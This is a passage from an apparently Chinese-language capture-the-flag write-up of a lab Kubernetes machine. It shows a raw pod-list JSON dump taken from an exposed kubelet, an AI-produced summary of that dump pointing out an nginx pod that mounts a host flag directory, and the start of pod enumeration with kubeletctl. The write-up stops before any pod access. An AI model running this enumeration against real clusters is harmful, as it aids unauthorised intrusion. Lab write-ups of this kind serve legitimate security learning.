econds,NodeRestriction,MutatingAdmissionWebhook,ValidatingAdmissionWebhook,ResourceQuota","--enable-bootstrap-token-auth=true","--etcd-cafile=/var/lib/minikube/certs/etcd/ca.crt","--etcd-certfile=/var/lib/minikube/certs/apiserver-etcd-client.crt","--etcd-keyfile=/var/lib/minikube/certs/apiserver-etcd-client.key","--etcd-servers=https://127.0.0.1:2379","--kubelet-client-certificate=/var/lib/minikube/certs/apiserver-kubelet-client.crt","--kubelet-client-key=/var/lib/minikube/certs/apiserver-kubelet-client.key","--kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname","--proxy-client-cert-file=/var/lib/minikube/certs/front-proxy-client.crt","--proxy-client-key-file=/var/lib/minikube/certs/front-proxy-client.key","--requestheader-allowed-names=front-proxy-client","--requestheader-client-ca-file=/var/lib/minikube/certs/front-proxy-ca.crt","--requestheader-extra-headers-prefix=X-Remote-Extra-","--requestheader-group-headers=X-Remote-Group","--requestheader-username-headers=X-Remote-User","--secure-port=8443","--service-account-issuer=https://kubernetes.default.svc.cluster.local","--service-account-key-file=/var/lib/minikube/certs/sa.pub","--service-account-signing-key-file=/var/lib/minikube/certs/sa.key","--service-cluster-ip-range=10.96.0.0/12","--tls-cert-file=/var/lib/minikube/certs/apiserver.crt","--tls-private-key-file=/var/lib/minikube/certs/apiserver.key"],"resources":{"requests":{"cpu":"250m"}},"volumeMounts":[{"name":"ca-certs","readOnly":true,"mountPath":"/etc/ssl/certs"},{"name":"etc-ca-certificates","readOnly":true,"mountPath":"/etc/ca-certificates"},{"name":"k8s-certs","readOnly":true,"mountPath":"/var/lib/minikube/certs"},{"name":"usr-local-share-ca-certificates","readOnly":true,"mountPath":"/usr/local/share/ca-certificates"},{"name":"usr-share-ca-certificates","readOnly":true,"mountPath":"/usr/share/ca-certificates"}],"livenessProbe":{"httpGet":{"path":"/livez","port":8443,"host":"10.10.11.133","scheme":"HTTPS"},"initialDelaySeconds":10,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":8},"readinessProbe":{"httpGet":{"path":"/readyz","port":8443,"host":"10.10.11.133","scheme":"HTTPS"},"timeoutSeconds":15,"periodSeconds":1,"successThreshold":1,"failureThreshold":3},"startupProbe":{"httpGet":{"path":"/livez","port":8443,"host":"10.10.11.133","scheme":"HTTPS"},"initialDelaySeconds":10,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":24},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeName":"steamcloud","hostNetwork":true,"securityContext":{"seccompProfile":{"type":"RuntimeDefault"}},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoExecute"}],"priorityClassName":"system-node-critical","enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:30Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:35Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:35Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:30Z"}],"hostIP":"10.10.11.133","podIP":"10.10.11.133","podIPs":[{"ip":"10.10.11.133"}],"startTime":"2025-09-13T01:29:30Z","containerStatuses":[{"name":"kube-apiserver","state":{"running":{"startedAt":"2025-09-13T01:29:17Z"}},"lastState":{},"ready":true,"restartCount":0,"image":"k8s.gcr.io/kube-apiserver:v1.22.3","imageID":"docker-pullable://k8s.gcr.io/kube-apiserver@sha256:6ee1c59e9c1fb570e7958e267a6993988eaa22448beb70d99de7afb21e862e9d","containerID":"docker://a74fc6518525001132bd151963304f33c76464517df6879e55f036c3de82126b","started":true}],"qosClass":"Burstable"}},{"metadata":{"name":"storage-provisioner","namespace":"kube-system","uid":"e024dc3f-1109-4874-909a-692c4a5a114d","resourceVersion":"406","creationTimestamp":"2025-09-13T01:29:28Z","labels":{"addonmanager.kubernetes.io/mode":"Reconcile","integration-test":"storage-provisioner"},"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"labels\":{\"addonmanager.kubernetes.io/mode\":\"Reconcile\",\"integration-test\":\"storage-provisioner\"},\"name\":\"storage-provisioner\",\"namespace\":\"kube-system\"},\"spec\":{\"containers\":[{\"command\":[\"/storage-provisioner\"],\"image\":\"gcr.io/k8s-minikube/storage-provisioner:v5\",\"imagePullPolicy\":\"IfNotPresent\",\"name\":\"storage-provisioner\",\"volumeMounts\":[{\"mountPath\":\"/tmp\",\"name\":\"tmp\"}]}],\"hostNetwork\":true,\"serviceAccountName\":\"storage-provisioner\",\"volumes\":[{\"hostPath\":{\"path\":\"/tmp\",\"type\":\"Directory\"},\"name\":\"tmp\"}]}}\n","kubernetes.io/config.seen":"2025-09-12T21:29:38.649800099-04:00","kubernetes.io/config.source":"api"},"managedFields":[{"manager":"kube-scheduler","operation":"Update","apiVersion":"v1","time":"2025-09-13T01:29:28Z","fieldsType":"FieldsV1","fieldsV1":{"f:status":{"f:conditions":{".":{},"k:{\"type\":\"PodScheduled\"}":{".":{},"f:lastProbeTime":{},"f:lastTransitionTime":{},"f:message":{},"f:reason":{},"f:status":{},"f:type":{}}}}},"subresource":"status"},{"manager":"kubectl-client-side-apply","operation":"Update","apiVersion":"v1","time":"2025-09-13T01:29:28Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:kubectl.kubernetes.io/last-applied-configuration":{}},"f:labels":{".":{},"f:addonmanager.kubernetes.io/mode":{},"f:integration-test":{}}},"f:spec":{"f:containers":{"k:{\"name\":\"storage-provisioner\"}":{".":{},"f:command":{},"f:image":{},"f:imagePullPolicy":{},"f:name":{},"f:resources":{},"f:terminationMessagePath":{},"f:terminationMessagePolicy":{},"f:volumeMounts":{".":{},"k:{\"mountPath\":\"/tmp\"}":{".":{},"f:mountPath":{},"f:name":{}}}}},"f:dnsPolicy":{},"f:enableServiceLinks":{},"f:hostNetwork":{},"f:restartPolicy":{},"f:schedulerName":{},"f:securityContext":{},"f:serviceAccount":{},"f:serviceAccountName":{},"f:terminationGracePeriodSeconds":{},"f:volumes":{".":{},"k:{\"name\":\"tmp\"}":{".":{},"f:hostPath":{".":{},"f:path":{},"f:type":{}},"f:name":{}}}}}}]},"spec":{"volumes":[{"name":"tmp","hostPath":{"path":"/tmp","type":"Directory"}},{"name":"kube-api-access-7kkw9","projected":{"sources":[{"serviceAccountToken":{"expirationSeconds":3607,"path":"token"}},{"configMap":{"name":"kube-root-ca.crt","items":[{"key":"ca.crt","path":"ca.crt"}]}},{"downwardAPI":{"items":[{"path":"namespace","fieldRef":{"apiVersion":"v1","fieldPath":"metadata.namespace"}}]}}],"defaultMode":420}}],"containers":[{"name":"storage-provisioner","image":"gcr.io/k8s-minikube/storage-provisioner:v5","command":["/storage-provisioner"],"resources":{},"volumeMounts":[{"name":"tmp","mountPath":"/tmp"},{"name":"kube-api-access-7kkw9","readOnly":true,"mountPath":"/var/run/secrets/kubernetes.io/serviceaccount"}],"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","serviceAccountName":"storage-provisioner","serviceAccount":"storage-provisioner","nodeName":"steamcloud","hostNetwork":true,"securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"key":"node.kubernetes.io/not-ready","operator":"Exists","effect":"NoExecute","tolerationSeconds":300},{"key":"node.kubernetes.io/unreachable","operator":"Exists","effect":"NoExecute","tolerationSeconds":300}],"priority":0,"enableServiceLinks":true,"preemptionPolicy":"PreemptLowerPriority"},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:38Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:30:12Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:30:12Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:38Z"}],"hostIP":"10.10.11.133","podIP":"10.10.11.133","podIPs":[{"ip":"10.10.11.133"}],"startTime":"2025-09-13T01:29:38Z","containerStatuses":[{"name":"storage-provisioner","state":{"running":{"startedAt":"2025-09-13T01:30:11Z"}},"lastState":{"terminated":{"exitCode":1,"reason":"Error","startedAt":"2025-09-13T01:29:40Z","finishedAt":"2025-09-13T01:30:10Z","containerID":"docker://e647fb88730f23a54fa400f5643afe6b2b0296a70db33658efa2be52a579829b"}},"ready":true,"restartCount":1,"image":"gcr.io/k8s-minikube/storage-provisioner:v5","imageID":"docker-pullable://gcr.io/k8s-minikube/storage-provisioner@sha256:18eb69d1418e854ad5a19e399310e52808a8321e4c441c1dddad8977a0d7a944","containerID":"docker://1f2dbf44b4db2bd14455382a5d0eb88201dcfb37f2b915962ce88336df609c8b","started":true}],"qosClass":"BestEffort"}},{"metadata":{"name":"kube-proxy-gb8zn","generateName":"kube-proxy-","namespace":"kube-system","uid":"239a4b53-afc2-45cc-8fa9-f31176049e21","resourceVersion":"413","creationTimestamp":"2025-09-13T01:29:38Z","labels":{"controller-revision-hash":"674d79d6f9","k8s-app":"kube-proxy","pod-template-generation":"1"},"annotations":{"kubernetes.io/config.seen":"2025-09-12T21:29:38.740131311-04:00","kubernetes.io/config.source":"api"},"ownerReferences":[{"apiVersion":"apps/v1","kind":"DaemonSet","name":"kube-proxy","uid":"38e7ec06-71ff-44fa-9588-7b47edc414e6","controller":true,"blockOwnerDeletion":true}],"managedFields":[{"manager":"kube-controller-manager","operation":"Update","apiVersion":"v1","time":"2025-09-13T01:29:38Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:generateName":{},"f:labels":{".":{},"f:controller-revision-hash":{},"f:k8s-app":{},"f:pod-template-generation":{}},"f:ownerReferences":{".":{},"k:{\"uid\":\"38e7ec06-71ff-44fa-9588-7b47edc414e6\"}":{}}},"f:spec":{"f:affinity":{".":{},"f:nodeAffinity":{".":{},"f:requiredDuringSchedulingIgnoredDuringExecution":{}}},"f:containers":{"k:{\"name\":\"kube-proxy\"}":{".":{},"f:command":{},"f:env":{".":{},"k:{\"name\":\"NODE_NAME\"}":{".":{},"f:name":{},"f:valueFrom":{".":{},"f:fieldRef":{}}}},"f:image":{},"f:imagePullPolicy":{},"f:name":{},"f:resources":{},"f:securityContext":{".":{},"f:privileged":{}},"f:terminationMessagePath":{},"f:terminationMessagePolicy":{},"f:volumeMounts":{".":{},"k:{\"mountPath\":\"/lib/modules\"}":{".":{},"f:mountPath":{},"f:name":{},"f:readOnly":{}},"k:{\"mountPath\":\"/run/xtables.lock\"}":{".":{},"f:mountPath":{},"f:name":{}},"k:{\"mountPath\":\"/var/lib/kube-proxy\"}":{".":{},"f:mountPath":{},"f:name":{}}}}},"f:dnsPolicy":{},"f:enableServiceLinks":{},"f:hostNetwork":{},"f:nodeSelector":{},"f:priorityClassName":{},"f:restartPolicy":{},"f:schedulerName":{},"f:securityContext":{},"f:serviceAccount":{},"f:serviceAccountName":{},"f:terminationGracePeriodSeconds":{},"f:tolerations":{},"f:volumes":{".":{},"k:{\"name\":\"kube-proxy\"}":{".":{},"f:configMap":{".":{},"f:defaultMode":{},"f:name":{}},"f:name":{}},"k:{\"name\":\"lib-modules\"}":{".":{},"f:hostPath":{".":{},"f:path":{},"f:type":{}},"f:name":{}},"k:{\"name\":\"xtables-lock\"}":{".":{},"f:hostPath":{".":{},"f:path":{},"f:type":{}},"f:name":{}}}}}}]},"spec":{"volumes":[{"name":"kube-proxy","configMap":{"name":"kube-proxy","defaultMode":420}},{"name":"xtables-lock","hostPath":{"path":"/run/xtables.lock","type":"FileOrCreate"}},{"name":"lib-modules","hostPath":{"path":"/lib/modules","type":""}},{"name":"kube-api-access-cjqjd","projected":{"sources":[{"serviceAccountToken":{"expirationSeconds":3607,"path":"token"}},{"configMap":{"name":"kube-root-ca.crt","items":[{"key":"ca.crt","path":"ca.crt"}]}},{"downwardAPI":{"items":[{"path":"namespace","fieldRef":{"apiVersion":"v1","fieldPath":"metadata.namespace"}}]}}],"defaultMode":420}}],"containers":[{"name":"kube-proxy","image":"k8s.gcr.io/kube-proxy:v1.22.3","command":["/usr/local/bin/kube-proxy","--config=/var/lib/kube-proxy/config.conf","--hostname-override=$(NODE_NAME)"],"env":[{"name":"NODE_NAME","valueFrom":{"fieldRef":{"apiVersion":"v1","fieldPath":"spec.nodeName"}}}],"resources":{},"volumeMounts":[{"name":"kube-proxy","mountPath":"/var/lib/kube-proxy"},{"name":"xtables-lock","mountPath":"/run/xtables.lock"},{"name":"lib-modules","readOnly":true,"mountPath":"/lib/modules"},{"name":"kube-api-access-cjqjd","readOnly":true,"mountPath":"/var/run/secrets/kubernetes.io/serviceaccount"}],"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeSelector":{"kubernetes.io/os":"linux"},"serviceAccountName":"kube-proxy","serviceAccount":"kube-proxy","nodeName":"steamcloud","hostNetwork":true,"securityContext":{},"affinity":{"nodeAffinity":{"requiredDuringSchedulingIgnoredDuringExecution":{"nodeSelectorTerms":[{"matchFields":[{"key":"metadata.name","operator":"In","values":["steamcloud"]}]}]}}},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists"},{"key":"node.kubernetes.io/not-ready","operator":"Exists","effect":"NoExecute"},{"key":"node.kubernetes.io/unreachable","operator":"Exists","effect":"NoExecute"},{"key":"node.kubernetes.io/disk-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/memory-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/pid-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/unschedulable","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/network-unavailable","operator":"Exists","effect":"NoSchedule"}],"priorityClassName":"system-node-critical","priority":2000001000,"enableServiceLinks":true,"preemptionPolicy":"PreemptLowerPriority"},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:38Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:40Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:40Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:38Z"}],"hostIP":"10.10.11.133","podIP":"10.10.11.133","podIPs":[{"ip":"10.10.11.133"}],"startTime":"2025-09-13T01:29:38Z","containerStatuses":[{"name":"kube-proxy","state":{"running":{"startedAt":"2025-09-13T01:29:40Z"}},"lastState":{},"ready":true,"restartCount":0,"image":"k8s.gcr.io/kube-proxy:v1.22.3","imageID":"docker-pullable://k8s.gcr.io/kube-proxy@sha256:8d0561b2e5d0ccb9c49a25e7b415bef12637a07a872703dc252c2de3b458fc4f","containerID":"docker://c26587e5d7bcfde7fd0cd2e7c23ac9c4e8ab85b4988c828d30fc55f17483d039","started":true}],"qosClass":"BestEffort"}},{"metadata":{"name":"coredns-78fcd69978-phvsw","generateName":"coredns-78fcd69978-","namespace":"kube-system","uid":"453edf6f-fc2d-47b6-8e08-6c996d14b790","resourceVersion":"453","creationTimestamp":"2025-09-13T01:29:39Z","labels":{"k8s-app":"kube-dns","pod-template-hash":"78fcd69978"},"annotations":{"kubernetes.io/config.seen":"2025-09-12T21:29:39.526605211-04:00","kubernetes.io/config.source":"api"},"ownerReferences":[{"apiVersion":"apps/v1","kind":"ReplicaSet","name":"coredns-78fcd69978","uid":"e2b4ab2d-1029-4cfb-a08d-dff395db0ac4","controller":true,"blockOwnerDeletion":true}],"managedFields":[{"manager":"kube-controller-manager","operation":"Update","apiVersion":"v1","time":"2025-09-13T01:29:39Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:generateName":{},"f:labels":{".":{},"f:k8s-app":{},"f:pod-template-hash":{}},"f:ownerReferences":{".":{},"k:{\"uid\":\"e2b4ab2d-1029-4cfb-a08d-dff395db0ac4\"}":{}}},"f:spec":{"f:containers":{"k:{\"name\":\"coredns\"}":{".":{},"f:args":{},"f:image":{},"f:imagePullPolicy":{},"f:livenessProbe":{".":{},"f:failureThreshold":{},"f:httpGet":{".":{},"f:path":{},"f:port":{},"f:scheme":{}},"f:initialDelaySeconds":{},"f:periodSeconds":{},"f:successThreshold":{},"f:timeoutSeconds":{}},"f:name":{},"f:ports":{".":{},"k:{\"containerPort\":53,\"protocol\":\"TCP\"}":{".":{},"f:containerPort":{},"f:name":{},"f:protocol":{}},"k:{\"containerPort\":53,\"protocol\":\"UDP\"}":{".":{},"f:containerPort":{},"f:name":{},"f:protocol":{}},"k:{\"containerPort\":9153,\"protocol\":\"TCP\"}":{".":{},"f:containerPort":{},"f:name":{},"f:protocol":{}}},"f:readinessProbe":{".":{},"f:failureThreshold":{},"f:httpGet":{".":{},"f:path":{},"f:port":{},"f:scheme":{}},"f:periodSeconds":{},"f:successThreshold":{},"f:timeoutSeconds":{}},"f:resources":{".":{},"f:limits":{".":{},"f:memory":{}},"f:requests":{".":{},"f:cpu":{},"f:memory":{}}},"f:securityContext":{".":{},"f:allowPrivilegeEscalation":{},"f:capabilities":{".":{},"f:add":{},"f:drop":{}},"f:readOnlyRootFilesystem":{}},"f:terminationMessagePath":{},"f:terminationMessagePolicy":{},"f:volumeMounts":{".":{},"k:{\"mountPath\":\"/etc/coredns\"}":{".":{},"f:mountPath":{},"f:name":{},"f:readOnly":{}}}}},"f:dnsPolicy":{},"f:enableServiceLinks":{},"f:nodeSelector":{},"f:priorityClassName":{},"f:restartPolicy":{},"f:schedulerName":{},"f:securityContext":{},"f:serviceAccount":{},"f:serviceAccountName":{},"f:terminationGracePeriodSeconds":{},"f:tolerations":{},"f:volumes":{".":{},"k:{\"name\":\"config-volume\"}":{".":{},"f:configMap":{".":{},"f:defaultMode":{},"f:items":{},"f:name":{}},"f:name":{}}}}}}]},"spec":{"volumes":[{"name":"config-volume","configMap":{"name":"coredns","items":[{"key":"Corefile","path":"Corefile"}],"defaultMode":420}},{"name":"kube-api-access-s6pc2","projected":{"sources":[{"serviceAccountToken":{"expirationSeconds":3607,"path":"token"}},{"configMap":{"name":"kube-root-ca.crt","items":[{"key":"ca.crt","path":"ca.crt"}]}},{"downwardAPI":{"items":[{"path":"namespace","fieldRef":{"apiVersion":"v1","fieldPath":"metadata.namespace"}}]}}],"defaultMode":420}}],"containers":[{"name":"coredns","image":"k8s.gcr.io/coredns/coredns:v1.8.4","args":["-conf","/etc/coredns/Corefile"],"ports":[{"name":"dns","containerPort":53,"protocol":"UDP"},{"name":"dns-tcp","containerPort":53,"protocol":"TCP"},{"name":"metrics","containerPort":9153,"protocol":"TCP"}],"resources":{"limits":{"memory":"170Mi"},"requests":{"cpu":"100m","memory":"70Mi"}},"volumeMounts":[{"name":"config-volume","readOnly":true,"mountPath":"/etc/coredns"},{"name":"kube-api-access-s6pc2","readOnly":true,"mountPath":"/var/run/secrets/kubernetes.io/serviceaccount"}],"livenessProbe":{"httpGet":{"path":"/health","port":8080,"scheme":"HTTP"},"initialDelaySeconds":60,"timeoutSeconds":5,"periodSeconds":10,"successThreshold":1,"failureThreshold":5},"readinessProbe":{"httpGet":{"path":"/ready","port":8181,"scheme":"HTTP"},"timeoutSeconds":1,"periodSeconds":10,"successThreshold":1,"failureThreshold":3},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent","securityContext":{"capabilities":{"add":["NET_BIND_SERVICE"],"drop":["all"]},"readOnlyRootFilesystem":true,"allowPrivilegeEscalation":false}}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"Default","nodeSelector":{"kubernetes.io/os":"linux"},"serviceAccountName":"coredns","serviceAccount":"coredns","nodeName":"steamcloud","securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"key":"CriticalAddonsOnly","operator":"Exists"},{"key":"node-role.kubernetes.io/master","effect":"NoSchedule"},{"key":"node-role.kubernetes.io/control-plane","effect":"NoSchedule"},{"key":"node.kubernetes.io/not-ready","operator":"Exists","effect":"NoExecute","tolerationSeconds":300},{"key":"node.kubernetes.io/unreachable","operator":"Exists","effect":"NoExecute","tolerationSeconds":300}],"priorityClassName":"system-cluster-critical","priority":2000000000,"enableServiceLinks":true,"preemptionPolicy":"PreemptLowerPriority"},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:39Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:41Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:41Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:29:39Z"}],"hostIP":"10.10.11.133","podIP":"172.17.0.2","podIPs":[{"ip":"172.17.0.2"}],"startTime":"2025-09-13T01:29:39Z","containerStatuses":[{"name":"coredns","state":{"running":{"startedAt":"2025-09-13T01:29:40Z"}},"lastState":{},"ready":true,"restartCount":0,"image":"k8s.gcr.io/coredns/coredns:v1.8.4","imageID":"docker-pullable://k8s.gcr.io/coredns/coredns@sha256:6e5a02c21641597998b4be7cb5eb1e7b02c0d8d23cce4dd09f4682d463798890","containerID":"docker://53edcad7192f2c4edc444b4a07a294e709eb13b941bde5f0f046feaafc31f540","started":true}],"qosClass":"Burstable"}},{"metadata":{"name":"nginx","namespace":"default","uid":"2e98a278-605a-4a8e-bbbd-f0e89d7613ef","resourceVersion":"494","creationTimestamp":"2025-09-13T01:30:02Z","annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"nginx\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"imagePullPolicy\":\"Never\",\"name\":\"nginx\",\"volumeMounts\":[{\"mountPath\":\"/root\",\"name\":\"flag\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/opt/flag\"},\"name\":\"flag\"}]}}\n","kubernetes.io/config.seen":"2025-09-12T21:30:02.317025326-04:00","kubernetes.io/config.source":"api"},"managedFields":[{"manager":"kubectl-client-side-apply","operation":"Update","apiVersion":"v1","time":"2025-09-13T01:30:02Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:annotations":{".":{},"f:kubectl.kubernetes.io/last-applied-configuration":{}}},"f:spec":{"f:containers":{"k:{\"name\":\"nginx\"}":{".":{},"f:image":{},"f:imagePullPolicy":{},"f:name":{},"f:resources":{},"f:terminationMessagePath":{},"f:terminationMessagePolicy":{},"f:volumeMounts":{".":{},"k:{\"mountPath\":\"/root\"}":{".":{},"f:mountPath":{},"f:name":{}}}}},"f:dnsPolicy":{},"f:enableServiceLinks":{},"f:restartPolicy":{},"f:schedulerName":{},"f:securityContext":{},"f:terminationGracePeriodSeconds":{},"f:volumes":{".":{},"k:{\"name\":\"flag\"}":{".":{},"f:hostPath":{".":{},"f:path":{},"f:type":{}},"f:name":{}}}}}}]},"spec":{"volumes":[{"name":"flag","hostPath":{"path":"/opt/flag","type":""}},{"name":"kube-api-access-l7bhb","projected":{"sources":[{"serviceAccountToken":{"expirationSeconds":3607,"path":"token"}},{"configMap":{"name":"kube-root-ca.crt","items":[{"key":"ca.crt","path":"ca.crt"}]}},{"downwardAPI":{"items":[{"path":"namespace","fieldRef":{"apiVersion":"v1","fieldPath":"metadata.namespace"}}]}}],"defaultMode":420}}],"containers":[{"name":"nginx","image":"nginx:1.14.2","resources":{},"volumeMounts":[{"name":"flag","mountPath":"/root"},{"name":"kube-api-access-l7bhb","readOnly":true,"mountPath":"/var/run/secrets/kubernetes.io/serviceaccount"}],"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"Never"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","serviceAccountName":"default","serviceAccount":"default","nodeName":"steamcloud","securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"key":"node.kubernetes.io/not-ready","operator":"Exists","effect":"NoExecute","tolerationSeconds":300},{"key":"node.kubernetes.io/unreachable","operator":"Exists","effect":"NoExecute","tolerationSeconds":300}],"priority":0,"enableServiceLinks":true,"preemptionPolicy":"PreemptLowerPriority"},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:30:02Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:30:04Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:30:04Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2025-09-13T01:30:02Z"}],"hostIP":"10.10.11.133","podIP":"172.17.0.3","podIPs":[{"ip":"172.17.0.3"}],"startTime":"2025-09-13T01:30:02Z","containerStatuses":[{"name":"nginx","state":{"running":{"startedAt":"2025-09-13T01:30:03Z"}},"lastState":{},"ready":true,"restartCount":0,"image":"nginx:1.14.2","imageID":"docker-pullable://nginx@sha256:f7988fb6c02e0ce69257d9bd9cf37ae20a60f1df7563c3a2a6abe24160306b8d","containerID":"docker://7d2a2e576213a622800574845ccf5547c39e419f5dd54e9993373605bcfaf704","started":true}],"qosClass":"BestEffort"}}]}很乱是吧，但现在是5202年，博主也懒得看，直接拖给AI整理信息整理信息如下集群概览 集群类型: Minikube 单节点集群 节点名称: steamcloud 节点IP: 10.10.11.133 Kubernetes版本: v1.22.3 Pod 详细信息 系统核心组件 (kube-system namespace) 1. kube-controller-manager-steamcloud 状态: Running 镜像: k8s.gcr.io/kube-controller-manager:v1.22.3 重启次数: 23次 资源请求: CPU 200m 主要功能: 集群控制器管理器，负责节点控制、副本控制等 关键配置: 集群CIDR: 10.244.0.0/16 服务CIDR: 10.96.0.0/12 启用所有控制器包括 bootstrapsigner 和 tokencleaner 2. kube-scheduler-steamcloud 状态: Running 镜像: k8s.gcr.io/kube-scheduler:v1.22.3 重启次数: 22次 资源请求: CPU 100m 主要功能: Pod 调度器，负责将 Pod 分配到合适的节点 3. etcd-steamcloud 状态: Running 镜像: k8s.gcr.io/etcd:3.5.0-0 重启次数: 0次 资源请求: CPU 100m, Memory 100Mi 主要功能: 集群数据存储 监听端口: 客户端: 2379 (HTTPS) 对等节点: 2380 (HTTPS) 指标: 2381 (HTTP) 4. kube-apiserver-steamcloud 状态: Running 镜像: k8s.gcr.io/kube-apiserver:v1.22.3 重启次数: 0次 资源请求: CPU 250m 主要功能: Kubernetes API 服务器 监听端口: 8443 (HTTPS) 广告地址: 10.10.11.133:8443 网络和存储组件 5. kube-proxy-gb8zn 状态: Running 镜像: k8s.gcr.io/kube-proxy:v1.22.3 重启次数: 0次 主要功能: 网络代理，实现 Service 的负载均衡 部署方式: DaemonSet 6. coredns-78fcd69978-phvsw 状态: Running 镜像: k8s.gcr.io/coredns/coredns:v1.8.4 重启次数: 0次 资源配置: 请求: CPU 100m, Memory 70Mi 限制: Memory 170Mi 主要功能: 集群 DNS 服务 Pod IP: 172.17.0.2 7. storage-provisioner 状态: Running 镜像: gcr.io/k8s-minikube/storage-provisioner:v5 重启次数: 1次 主要功能: Minikube 存储供应器 用户应用 (default namespace) 8. nginx 状态: Running 镜像: nginx:1.14.2 重启次数: 0次 Pod IP: 172.17.0.3 特殊配置: 挂载主机路径 /opt/flag 到容器 /root 镜像拉取策略: Never (使用本地镜像) 网络配置 Pod 网络: 172.17.0.0/16 (Docker 桥接网络) 集群 CIDR: 10.244.0.0/16 服务 CIDR: 10.96.0.0/12 主机网络: 大部分系统组件使用 hostNetwork: true 安全配置 安全上下文: 所有系统组件都配置了 RuntimeDefault seccomp 配置 特权容器: kube-proxy 运行在特权模式 证书管理: 使用 /var/lib/minikube/certs 目录存储证书 存储挂载 系统组件主要挂载以下目录: 证书目录: /var/lib/minikube/certs CA 证书: /etc/ssl/certs, /etc/ca-certificates 配置文件: /etc/kubernetes/ etcd 数据: /var/lib/minikube/etcd 这个集群是一个典型的 Minikube 开发环境，所有组件都运行在单个节点上，适合开发和测试使用。nginx Pod 的特殊挂载配置表明可能用于某种特定的测试或演示场景。我们能够提取 k8s 集群中的所有 pod。虽然这个服务有几个未记录的 API，但我们可以使用 kubeletctl 与之交互，并找到一种方法进入一个 pod。让我们下载并安装 kubeletctl 二进制文件。从https://github.com/cyberark/kubeletctl/releases下载工具安装chmod +x kubeletctl_linux_arm64 mv kubeletctl_linux_arm64 /usr/local/bin/kubeletctl执行扫描podkubeletctl --server 10.10.11.133 podsPOD NAMESPACE CONTAINERS 1 kube-apiserver-steamcloud kube-system kube-apiserver 2 storage-provisioner kube-system storage-provisioner 3 kube-proxy-gb8zn kube-system kube-proxy 4 coredns-78fcd69978-phvsw kube-system coredns 5 nginx default nginx 6 kube-controller-manager-steamcloud kube-system kube-controller-manager 7 kube-scheduler-steamcloud kube-system kube-scheduler 8 etcd-steamcloud kube-system etcd成功返回了所有 pod 的列表。我们已经知道 Nginx 